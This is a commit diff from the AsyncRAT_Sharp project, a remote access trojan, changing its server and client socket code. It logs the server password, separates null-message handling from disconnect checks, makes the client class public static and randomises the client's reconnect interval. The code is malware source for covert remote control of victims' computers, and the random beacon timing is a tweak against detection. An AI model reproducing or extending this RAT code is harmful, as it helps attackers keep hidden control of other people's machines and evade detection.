This commit is contained in:
NYAN CAT 2019-05-07 16:55:24 -07:00
parent 41fa966796
commit 29f00e07ad
4 changed files with 11 additions and 5 deletions

View File

@ -12,6 +12,7 @@ using AsyncRAT_Sharp.Forms;
using AsyncRAT_Sharp.Cryptography; using AsyncRAT_Sharp.Cryptography;
using System.Diagnostics; using System.Diagnostics;
using System.Net.Sockets; using System.Net.Sockets;
using AsyncRAT_Sharp.Handle_Packet;
// │ Author : NYAN CAT // │ Author : NYAN CAT
// │ Name : AsyncRAT // Simple Socket // │ Name : AsyncRAT // Simple Socket
@ -75,6 +76,7 @@ namespace AsyncRAT_Sharp
Settings.Port = portsFrm.textPorts.Text; Settings.Port = portsFrm.textPorts.Text;
Settings.Password = portsFrm.textPassword.Text; Settings.Password = portsFrm.textPassword.Text;
Settings.AES = new Aes256(Settings.Password); Settings.AES = new Aes256(Settings.Password);
new HandleLogs().Addmsg($"Password {Settings.Password}", Color.Green);
} }
#endif #endif

View File

@ -133,12 +133,14 @@ namespace AsyncRAT_Sharp.Sockets
{ {
try try
{ {
if (!ClientSocket.Connected || (byte[])msg == null) if (!ClientSocket.Connected)
{ {
Disconnected(); Disconnected();
return; return;
} }
if ((byte[])msg == null) return;
byte[] buffer = Settings.AES.Encrypt((byte[])msg); byte[] buffer = Settings.AES.Encrypt((byte[])msg);
byte[] buffersize = BitConverter.GetBytes(buffer.Length); byte[] buffersize = BitConverter.GetBytes(buffer.Length);
@ -204,7 +206,7 @@ namespace AsyncRAT_Sharp.Sockets
} }
} }
} }
} }
} }
} }

View File

@ -36,7 +36,7 @@ namespace Client
{ {
if (!ClientSocket.IsConnected) if (!ClientSocket.IsConnected)
ClientSocket.Reconnect(); ClientSocket.Reconnect();
Thread.Sleep(1500); Thread.Sleep(new Random().Next(5000));
} }
} }
} }

View File

@ -17,7 +17,7 @@ using System.Text;
namespace Client.Sockets namespace Client.Sockets
{ {
class ClientSocket public static class ClientSocket
{ {
public static Socket Client { get; set; } public static Socket Client { get; set; }
private static byte[] Buffer { get; set; } private static byte[] Buffer { get; set; }
@ -147,12 +147,14 @@ namespace Client.Sockets
{ {
try try
{ {
if (!Client.Connected || !IsConnected || msg == null) if (!Client.Connected || !IsConnected)
{ {
IsConnected = false; IsConnected = false;
return; return;
} }
if (msg == null) return;
byte[] buffer = Settings.aes256.Encrypt(msg); byte[] buffer = Settings.aes256.Encrypt(msg);
byte[] buffersize = BitConverter.GetBytes(buffer.Length); byte[] buffersize = BitConverter.GetBytes(buffer.Length);